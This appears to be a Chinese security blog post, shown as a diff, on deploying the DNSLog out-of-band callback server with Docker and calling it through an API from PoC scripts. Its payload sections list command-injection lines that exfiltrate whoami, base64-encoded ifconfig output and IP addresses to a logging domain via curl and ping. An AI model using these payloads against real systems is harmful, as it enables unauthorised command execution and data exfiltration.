|
| 1 | +Title:DNSLog的docker部署和API调用 |
| 2 | +Date: 2020-08-04 10:20 |
| 3 | +Category: 工具相关 |
| 4 | +Tags: dnslog,docker,API |
| 5 | +Slug: |
| 6 | +Authors: bit4woo |
| 7 | +Summary:DNSLog的docker方式部署、API改造、API自动化调用 |
| 8 | + |
| 9 | + |
| 10 | + |
| 11 | +本文档主要记录使用docker搭建dnslog的过程,以及对原版的改造实现API自动调用。使用如下项目版本,基于[原版](https://github.com/BugScanTeam/DNSLog)做了一些修改: |
| 12 | + |
| 13 | +https://github.com/bit4woo/DNSLog |
| 14 | + |
| 15 | +感谢[草粉师傅](https://github.com/coffeehb)的帮助 |
| 16 | + |
| 17 | +### 0x0、域名和配置 |
| 18 | + |
| 19 | +搭建并使用 DNSLog,需要拥有两个域名: |
| 20 | + |
| 21 | +1. 一个作为 NS 服务器域名(例:code2sec.com):在其中设置两条 A 记录指向我们的公网 IP 地址(无需修改DNS服务器,使用运营商默认的就可以了): |
| 22 | + |
| 23 | +``` |
| 24 | +ns1.code2sec.com A 记录指向 10.11.12.13 |
| 25 | +ns2.code2sec.com A 记录指向 10.11.12.13 |
| 26 | +``` |
| 27 | + |
| 28 | +2. 一个用于记录域名(例: 0v0.com):修改 0v0.com 的 NS 记录为 1 中设定的两个域名(无需修改DNS服务器,使用运营商默认的就可以了): |
| 29 | + |
| 30 | +``` |
| 31 | +NS *.0v0.com ns1.code2sec.com |
| 32 | +NS *.0v0.com ns2.code2sec.com |
| 33 | +``` |
| 34 | + |
| 35 | +<u>注意:按照dnslog的说明是修改NS记录,但是自己的部署中修改了好几天之后仍然不正常,就转为修改DNS服务器,而后成功了。修改DNS服务器之后就无需在域名管理页面设置任何DNS记录了,因为这部分是在DNSlog的python代码中实现的。</u> |
| 36 | + |
| 37 | + |
| 38 | + |
| 39 | +### 0x1、docker镜像构造 |
| 40 | + |
| 41 | +dockerfile内容如下 |
| 42 | + |
| 43 | +```dockerfile |
| 44 | +FROM ubuntu:14.04 |
| 45 | + |
| 46 | +RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list |
| 47 | + |
| 48 | +RUN apt-get update -y && apt-get install -y python && apt-get install python-pip -y && apt-get install git -y |
| 49 | +RUN git clone https://github.com/bit4woo/DNSLog |
| 50 | +WORKDIR /DNSLog/dnslog |
| 51 | +RUN pip install -r requirements.pip |
| 52 | + |
| 53 | +COPY ./settings.py /DNSLog/dnslog/dnslog/settings.py |
| 54 | + |
| 55 | +COPY ./start.sh /DNSLog/dnslog/start.sh |
| 56 | +RUN chmod +x start.sh |
| 57 | +CMD ["./start.sh"] |
| 58 | + |
| 59 | +EXPOSE 80 |
| 60 | +``` |
| 61 | + |
| 62 | +下载 `dnslog/dnslog/settings.py`并对如下字段进行对应的修改,保存settings.py: |
| 63 | + |
| 64 | +```python |
| 65 | +# 做 dns 记录的域名 |
| 66 | +DNS_DOMAIN = '0v0.com' |
| 67 | + |
| 68 | +# 记录管理的域名, 这里前缀根据个人喜好来定 |
| 69 | +ADMIN_DOMAIN = 'admin.0v0.com' |
| 70 | + |
| 71 | +# NS域名 |
| 72 | +NS1_DOMAIN = 'ns1.code2sec.com' |
| 73 | +NS2_DOMAIN = 'ns2.code2sec.com' |
| 74 | + |
| 75 | +# 服务器外网地址 |
| 76 | +SERVER_IP = '10.11.12.13' |
| 77 | +``` |
| 78 | + |
| 79 | +创建一个dnslog的启动脚本,保存为start.sh: |
| 80 | + |
| 81 | +```bash |
| 82 | +#!/bin/bash |
| 83 | +python manage.py runserver 0.0.0.0:80 |
| 84 | +``` |
| 85 | + |
| 86 | +准备好如上3个文件后,可以构建镜像了 |
| 87 | + |
| 88 | +```bash |
| 89 | +docker build . |
| 90 | +docker tag e99c409f6585 bit4/dnslog |
| 91 | +docker run -d -it -p 80:80 -p 53:53/udp bit4/dnslog |
| 92 | +#注意这个53udp端口,感谢CF_HB师傅的指导 |
| 93 | + |
| 94 | +docker exec -it container_ID_or_name /bin/bash |
| 95 | +./start.sh |
| 96 | +``` |
| 97 | + |
| 98 | + |
| 99 | + |
| 100 | +### 0x2、配置验证 |
| 101 | + |
| 102 | +使用nslookup命令进行验证,如果可以直接测试xxx.test.0v0.com了,说明所有配置已经全部生效;如果直接查询失败,而指定了dns服务器为 ns1.code2sec.com查询成功,说明dns服务器配置正确了,但是ns记录的设置需要等待同步或者配置错误。 |
| 103 | + |
| 104 | +``` |
| 105 | +nslookup |
| 106 | +xxx.test.0v0.com |
| 107 | +server ns1.code2sec.com |
| 108 | +yyy.test.0v0.com |
| 109 | +``` |
| 110 | + |
| 111 | +当然,在查询的同时可以登录网页端配合查看,是否收到请求。 |
| 112 | + |
| 113 | +在我自己的部署中,发现修改ns记录很久后仍然不能直接查询到 xxx.test.0v0.com,想到NS记录配置和DNS服务器设置都是修改解析的域名的服务器配置,就尝试修改了DNS服务器为 ns1.code2sec.com, 结果就一切正常了。 |
| 114 | + |
| 115 | + |
| 116 | + |
| 117 | +### 0x3、管理网站 |
| 118 | + |
| 119 | +后台地址:http://0v0.com/admin/ admin admin |
| 120 | + |
| 121 | +用户地址:http://admin.0v0.com/ test 123456 |
| 122 | + |
| 123 | +更多详细问题参考项目https://github.com/BugScanTeam/DNSLog |
| 124 | + |
| 125 | +**记得修改默认的账号密码!** |
| 126 | + |
| 127 | + |
| 128 | + |
| 129 | +升级操作 |
| 130 | + |
| 131 | +```bash |
| 132 | +#备份数据库和配置文件 |
| 133 | +mv /DNSLog/dnslog/dnslog/settings.py /DNSLog/dnslog/dnslog/settings.py.bak |
| 134 | +mv /DNSLog/dnslog/dsqlite3 /DNSLog/dnslog/dsqlite3.bak |
| 135 | +#拉取新的网站源码 |
| 136 | +cd /DNSLog/dnslog/ |
| 137 | +git pull |
| 138 | +#恢复数据库和配置文件 |
| 139 | +mv /DNSLog/dnslog/dnslog/settings.py.bak /DNSLog/dnslog/dnslog/settings.py |
| 140 | +mv /DNSLog/dnslog/dsqlite3.bak /DNSLog/dnslog/dsqlite3 |
| 141 | + |
| 142 | +#如果操作过程中docker自动退出而无法启动,可以通过docker cp进行文件的操作 |
| 143 | +root@dnslog:~# docker cp cranky_cray:/DNSLog/dnslog/dnslog/settings.py.bak settings.py.bak |
| 144 | +root@dnslog:~# docker cp settings.py.bak cranky_cray:/DNSLog/dnslog/dnslog/settings.py |
| 145 | + |
| 146 | +root@dnslog:~# docker cp cranky_cray:/DNSLog/dnslog/db.sqlite3.bak db.sqlite3.bak |
| 147 | +root@dnslog:~# docker cp db.sqlite3.bak cranky_cray:/DNSLog/dnslog/db.sqlite3 |
| 148 | +``` |
| 149 | + |
| 150 | +### 0x4、payload使用技巧 |
| 151 | + |
| 152 | +**兼容windows和linux** |
| 153 | + |
| 154 | +```bash |
| 155 | +#方法一、||是或逻辑, 如果第一个命令执行成功,将不会执行第二个;而如果第一个执行失败,将会执行第二个。 |
| 156 | +ping -n 3 xxx.test.0v0.com || ping -c 3 xxx.test.0v0.com |
| 157 | + |
| 158 | +#方法二、群里大佬发了一个兼容windows和Linux的ping命令!!!6666 |
| 159 | +ping -nc 3 xxx.test.0v0.com |
| 160 | +``` |
| 161 | + |
| 162 | + |
| 163 | + |
| 164 | +**命令优先执行** |
| 165 | + |
| 166 | +```bash |
| 167 | +%OS% |
| 168 | +#windows的系统变量,用set命令可以查看所有可用的变量名称 |
| 169 | +`whomai` |
| 170 | +#linux下的命令优先执行,注意是反引号(`)这个字符一般在键盘的左上角,数字1的左边 |
| 171 | + |
| 172 | + |
| 173 | +使用实例: |
| 174 | +curl "http://xxx.test.0v0.com/?`whoami`" |
| 175 | +ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.0v0.com |
| 176 | +#DNS记录中获取源IP地址 |
| 177 | +``` |
| 178 | + |
| 179 | +测试效果如下图: |
| 180 | + |
| 181 | + |
| 182 | + |
| 183 | + |
| 184 | + |
| 185 | +**消除空格(Linux下)** |
| 186 | + |
| 187 | +```bash |
| 188 | +id|base64 #使用base64对执行的结果进行编码 |
| 189 | + |
| 190 | +使用实例: |
| 191 | +curl test.0v0.com/`ifconfig|base64 -w 0` |
| 192 | +#-w 0 输出内容不换行,推荐这个方法 |
| 193 | + |
| 194 | +curl test.0v0.com/`ifconfig |base64 |tr -d '\n'` |
| 195 | +#相同的效果 |
| 196 | +``` |
| 197 | + |
| 198 | + |
| 199 | + |
| 200 | +**window下的curl** |
| 201 | + |
| 202 | +```bash |
| 203 | +start http://%OS%.test.0v0.com |
| 204 | +#该命令的作用是通过默认浏览器打开网站,缺点是会打开窗口 |
| 205 | +``` |
| 206 | + |
| 207 | + |
| 208 | + |
| 209 | +### 0x5、常用payload汇总 |
| 210 | + |
| 211 | + |
| 212 | + |
| 213 | +```bash |
| 214 | +#1.判断系统类型(windows\linux通用) |
| 215 | +ping `uname`.0v0.com || ping %OS%.0v0.com |
| 216 | + |
| 217 | +#2.ping,dns类型payload(windows\linux通用) |
| 218 | +ping -nc 3 xxx.0v0.com |
| 219 | + |
| 220 | +======================================Linux分割线===================================== |
| 221 | + |
| 222 | +#3.从DNS记录中获取源IP地址 |
| 223 | +ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.0v0.com |
| 224 | + |
| 225 | +#4.获取命令结果 |
| 226 | +curl test.0v0.com/`ifconfig|base64 -w 0` |
| 227 | + |
| 228 | +#5.当频繁请求时,如果使用固定的域名,服务器可能不会发起请求,而是使用缓存,也就是说我们的某次请求将有可能收不到DNS请求。 |
| 229 | +#下面这个payload可以提供变化的子域名,保证每次都能真正发起DNS请求。 |
| 230 | +ping -c 3 `date +%H-%M-%S`.test.0y0.link |
| 231 | + |
| 232 | +``` |
| 233 | + |
| 234 | +### 0x6、对DNSlog的改造 |
| 235 | + |
| 236 | +一切为了自动化,想要在各种远程命令执行的poc中顺利使用DNSlog,对它进行了改造,新增了三个API接口: |
| 237 | + |
| 238 | +```python |
| 239 | +http://127.0.0.1:8000/apilogin/{username}/{password}/ |
| 240 | +#http://127.0.0.1:8000/apilogin/test/123456/ |
| 241 | +#登陆以获取token |
| 242 | +接口以JSON格式返回结果: |
| 243 | +{"status": true, "token": "ed691017b35866ab734e44c92c1a066a"} |
| 244 | +{"status": false, "token": ""} |
| 245 | + |
| 246 | + |
| 247 | +http://127.0.0.1:8000/apiquery/{logtype}/{subdomain}/{token}/ |
| 248 | +#http://127.0.0.1:8000/apiquery/dns/testdomain/ed691017b35866ab734e44c92c1a0669/ |
| 249 | +#查询特定域名的某类型记录 |
| 250 | +{"status": true, "content": "rmiyso.bit.0y0.link.,rmiyso.bit.0y0.link."} |
| 251 | +{"status": false, "content": ""} |
| 252 | + |
| 253 | + |
| 254 | +http://127.0.0.1:8000/apidel/{logtype}/{udomain}/{token}/ |
| 255 | +#http://127.0.0.1:8000/apidel/dns/testdomain/a2f78f403d7b8b92ca3486bb4dc0e498/ |
| 256 | +#删除特定域名的某类型记录 |
| 257 | +{"status": true} |
| 258 | +{"status": false} |
| 259 | +``` |
| 260 | + |
| 261 | +改造后的项目地址https://github.com/bit4woo/DNSLog |
| 262 | + |
| 263 | +### 0x7、本地接口类 |
| 264 | + |
| 265 | +服务端OK了之后,为了在poc中快速调用,也在本地实现了一个类: |
| 266 | + |
| 267 | +```python |
| 268 | +# !/usr/bin/env python |
| 269 | +# -*- coding:utf-8 -*- |
| 270 | +__author__ = 'bit4woo' |
| 271 | +__github__ = 'https://github.com/bit4woo' |
| 272 | + |
| 273 | +import hashlib |
| 274 | +import time |
| 275 | +import requests |
| 276 | +import json |
| 277 | + |
| 278 | +class DNSlog(): |
| 279 | + def __init__(self): |
| 280 | + self.subdomain = hashlib.md5(str(time.time())).hexdigest() |
| 281 | + self.user_host = "bit.0y0.link" |
| 282 | + self.api_host = "admin.0y0.link" |
| 283 | + self.API_token = "3005b3d03d5f7aa975b5025145bbas8a" |
| 284 | + self.username= "bit4woo" |
| 285 | + self.password = "password" |
| 286 | + |
| 287 | + def getPayload(self): |
| 288 | + payload = "{0}.{1}".format(self.subdomain, self.user_host) |
| 289 | + return payload |
| 290 | + |
| 291 | + # to get token |
| 292 | + def __freshToken__(self,username=None,password=None): |
| 293 | + if username != None: |
| 294 | + self.username = username |
| 295 | + if password != None: |
| 296 | + self.password = password |
| 297 | + url = "http://{0}/apilogin/{1}/{2}/".format(self.api_host,self.username,self.password) |
| 298 | + # print("DNSlog Login: {0}".format(url)) |
| 299 | + response = requests.get(url, timeout=60, verify=False, allow_redirects=False) |
| 300 | + if response.status_code == 200: |
| 301 | + status = json.loads(response.content)["status"] |
| 302 | + token = json.loads(response.content)["token"] |
| 303 | + if status == True: |
| 304 | + self.API_token = token |
| 305 | + print("fresh API token successed") |
| 306 | + return True |
| 307 | + else: |
| 308 | + print("fresh API token failed") |
| 309 | + return False |
| 310 | + else: |
| 311 | + print("DNSlog Server Error!") |
| 312 | + print("fresh API token failed") |
| 313 | + return False |
| 314 | + |
| 315 | + def query(self,subdomain=None,type="dns",token=None): |
| 316 | + if token != None: |
| 317 | + self.API_token = token |
| 318 | + |
| 319 | + if type.lower() in ["dns","web"]: |
| 320 | + pass |
| 321 | + else: |
| 322 | + print("error type") |
| 323 | + return False |
| 324 | + |
| 325 | + if subdomain != None: |
| 326 | + self.subdomain = subdomain |
| 327 | + url = "http://{0}/apiquery/{1}/{2}/{3}/".format(self.api_host,type,self.subdomain,self.API_token) |
| 328 | + #print("DNSlog Query: {0}".format(url)) |
| 329 | + try: |
| 330 | + rep = requests.get(url, timeout=60, verify=False, allow_redirects=False) |
| 331 | + status = json.loads(rep.content)["status"] |
| 332 | + if status ==True: |
| 333 | + return status |
| 334 | + else: |
| 335 | + self.__freshToken__() |
| 336 | + rep = requests.get(url, timeout=60, verify=False, allow_redirects=False) |
| 337 | + status = json.loads(rep.content)["status"] |
| 338 | + return status |
| 339 | + except Exception as e: |
| 340 | + return False |
| 341 | + |
| 342 | + def delete(self, subdomain,type="dns", token =None): |
| 343 | + if token != None: |
| 344 | + self.API_token = token |
| 345 | + |
| 346 | + if type.lower() in ["dns","web"]: |
| 347 | + pass |
| 348 | + else: |
| 349 | + print("error type") |
| 350 | + return False |
| 351 | + |
| 352 | + if subdomain != None: |
| 353 | + self.subdomain = subdomain |
| 354 | + url = "http://{0}/apidel/{1}/{2}/{3}/".format(self.api_host,type,self.subdomain,self.API_token) |
| 355 | + #print("DNSlog Delete: {0}".format(url)) |
| 356 | + try: |
| 357 | + rep = requests.get(url, timeout=60, verify=False, allow_redirects=False) |
| 358 | + status = json.loads(rep.content)["status"] |
| 359 | + if status ==True: |
| 360 | + return status |
| 361 | + else: |
| 362 | + self.__freshToken__() |
| 363 | + rep = requests.get(url, timeout=60, verify=False, allow_redirects=False) |
| 364 | + status = json.loads(rep.content)["status"] |
| 365 | + return status |
| 366 | + except Exception as e: |
| 367 | + return False |
| 368 | + |
| 369 | +if __name__ == "__main__": |
| 370 | + dnslog = DNSlog() |
| 371 | + payload = dnslog.getPayload() |
| 372 | + print(dnslog.query()) |
| 373 | +``` |
| 374 | + |
| 375 | +调用流程: |
| 376 | + |
| 377 | +1. 首先实例化DNSlog类,会根据当前时间生成一个子域名。 |
| 378 | +2. 调用getPayload()方法获取payload |
| 379 | +3. 在自己的PoC中使用payload |
| 380 | +4. 使用query()检查DNSlog是否收到该域名的相关请求,有则认为命令执行成功漏洞存在,否则任务不存在。 |
| 381 | + |
| 382 | +``` |
| 383 | +最简单的使用模式: |
| 384 | +
|
| 385 | + dnslog = DNSlog() |
| 386 | + payload = dnslog.getPayload() |
| 387 | + print(dnslog.query()) |
| 388 | +
|
| 389 | +``` |
| 390 | + |
0 commit comments